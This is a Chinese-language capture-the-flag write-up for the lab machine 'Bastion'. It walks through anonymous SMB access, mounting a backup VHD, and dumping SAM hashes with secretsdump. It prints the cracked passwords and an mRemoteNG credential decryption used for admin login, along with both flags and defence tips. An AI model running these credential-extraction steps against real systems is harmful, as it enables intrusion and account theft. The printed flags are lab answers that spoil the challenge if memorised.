[Meachines] [Easy] Bastion SMB未授权访问+VHD虚拟硬盘挂载+注册表获取NTLM哈希+mRemoteNG远程管理工具权限提升
字数 1025 2025-08-20 18:18:23

Windows渗透测试实战:从SMB未授权访问到权限提升

信息收集阶段

初始扫描

使用Nmap进行端口扫描:

nmap -p- 10.10.10.134 --min-rate 1000 -sC -sV

扫描结果:

  • 开放端口:22(SSH), 135(MSRPC), 139(NetBIOS), 445(SMB), 5985(WinRM), 47001(HTTP), 49664-49670(MSRPC)
  • 操作系统:Windows Server 2016 Standard 14393

SMB服务枚举

  1. 使用smbmap检查共享:
smbmap -H 10.10.10.134 -u aaaa
  1. 匿名访问SMB共享:
smbclient -N //10.10.10.134/backups
  1. 获取重要文件:
get note.txt

注:管理员提示不要将整个备份文件传输到本地,因为VPN连接速度慢

VHD虚拟硬盘挂载技术

准备工作

  1. 创建挂载点:
sudo mkdir /mnt/10.10.10.134-User
  1. 挂载SMB共享:
sudo mount -t cifs //10.10.10.134/backups /mnt/10.10.10.134-User -o user=,password=
  1. 安装必要工具:
sudo apt install multipath-tools qemu-utils

加载VHD文件

  1. 加载nbd模块:
sudo modprobe nbd max_part=8
  1. 连接VHD到nbd设备:
sudo qemu-nbd -c /dev/nbd0 /mnt/10.10.10.134-User/WindowsImageBackup/L4mpje-PC/Backup\ 2019-02-22\ 124351/9b9cfbc4-369e-11e9-a17c-806e6f6e6963.vhd
  1. 映射分区:
sudo kpartx -a /dev/nbd0
  1. 挂载分区:
sudo mount /dev/mapper/nbd0p1 /mnt/10.10.10.134-VHD

注册表提取与哈希破解

提取NTLM哈希

  1. 导航到注册表配置目录:
cd /mnt/10.10.10.134-VHD/Windows/System32/config
  1. 使用secretsdump提取哈希:
secretsdump.py -sam SAM -security SECURITY -system SYSTEM LOCAL

输出示例:

[*] Dumping local SAM hashes (uid:rid:lmhash:nthash)
Administrator:500:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:e4487d0421e6611a364a5028467e053c:::
L4mpje:1000:aad3b435b51404eeaad3b435b51404ee:26112010952d963c8dc4217daec986d9:::

哈希破解

使用在线工具如https://crackstation.net/破解哈希:

  • 用户:L4mpje
  • 密码:bureaulampje

初始访问

使用获取的凭据通过SSH登录:

ssh l4mpje@10.10.10.134

密码:bureaulampje

获取user flag:

4b338f88063b1c7c9f642632a0f29310

权限提升:mRemoteNG凭证提取

mRemoteNG简介

mRemoteNG是一个开源的远程连接管理工具,用于集中管理多种远程连接类型,支持多种协议。

查找凭证文件

  1. 导航到mRemoteNG配置目录:
cd c:\Users\L4mpje\AppData\Roaming\mRemoteNG
  1. 查看配置文件:
type confCons.xml

解密凭证

  1. 下载解密工具:
wget https://github.com/kmahyyg/mremoteng-decrypt/releases/download/v1/decipher_mremoteng.jar
  1. 执行解密:
java -jar decipher_mremoteng.jar V22XaC5eW4epRxRgXEM5RjuQe2UNrHaZSGMUenOvA1Cit/z3v1fUfZmGMglsiaICSus+bOwJQ/4AnYAt2AeE8g==

输出:thXLHM96BeKL0ER2

获取管理员权限

使用解密后的凭证登录:

ssh administrator@10.10.10.134

密码:thXLHM96BeKL0ER2

获取root flag:

7d01278878dcf2f509e263c5549e460c

关键知识点总结

  1. SMB匿名访问:检查可匿名访问的共享,获取有用信息
  2. VHD挂载技术:通过qemu-nbd和kpartx工具挂载Windows虚拟硬盘
  3. 注册表提取:从挂载的Windows分区中提取SAM、SECURITY和SYSTEM文件
  4. 哈希破解:使用secretsdump提取NTLM哈希,通过在线工具破解
  5. mRemoteNG凭证提取:查找配置文件并解密存储的密码
  6. 权限提升路径:从普通用户到管理员账户的完整过程

防御建议

  1. 禁用SMB匿名访问
  2. 限制备份文件的访问权限
  3. 对敏感配置文件进行加密
  4. 使用强密码策略
  5. 定期审计系统配置和权限
  6. 避免在配置文件中存储明文或弱加密的凭证
Windows渗透测试实战:从SMB未授权访问到权限提升 信息收集阶段 初始扫描 使用Nmap进行端口扫描: 扫描结果: 开放端口:22(SSH), 135(MSRPC), 139(NetBIOS), 445(SMB), 5985(WinRM), 47001(HTTP), 49664-49670(MSRPC) 操作系统:Windows Server 2016 Standard 14393 SMB服务枚举 使用smbmap检查共享: 匿名访问SMB共享: 获取重要文件: 注:管理员提示不要将整个备份文件传输到本地,因为VPN连接速度慢 VHD虚拟硬盘挂载技术 准备工作 创建挂载点: 挂载SMB共享: 安装必要工具: 加载VHD文件 加载nbd模块: 连接VHD到nbd设备: 映射分区: 挂载分区: 注册表提取与哈希破解 提取NTLM哈希 导航到注册表配置目录: 使用secretsdump提取哈希: 输出示例: 哈希破解 使用在线工具如https://crackstation.net/破解哈希: 用户:L4mpje 密码:bureaulampje 初始访问 使用获取的凭据通过SSH登录: 密码:bureaulampje 获取user flag: 权限提升:mRemoteNG凭证提取 mRemoteNG简介 mRemoteNG是一个开源的远程连接管理工具,用于集中管理多种远程连接类型,支持多种协议。 查找凭证文件 导航到mRemoteNG配置目录: 查看配置文件: 解密凭证 下载解密工具: 执行解密: 输出:thXLHM96BeKL0ER2 获取管理员权限 使用解密后的凭证登录: 密码:thXLHM96BeKL0ER2 获取root flag: 关键知识点总结 SMB匿名访问 :检查可匿名访问的共享,获取有用信息 VHD挂载技术 :通过qemu-nbd和kpartx工具挂载Windows虚拟硬盘 注册表提取 :从挂载的Windows分区中提取SAM、SECURITY和SYSTEM文件 哈希破解 :使用secretsdump提取NTLM哈希,通过在线工具破解 mRemoteNG凭证提取 :查找配置文件并解密存储的密码 权限提升路径 :从普通用户到管理员账户的完整过程 防御建议 禁用SMB匿名访问 限制备份文件的访问权限 对敏感配置文件进行加密 使用强密码策略 定期审计系统配置和权限 避免在配置文件中存储明文或弱加密的凭证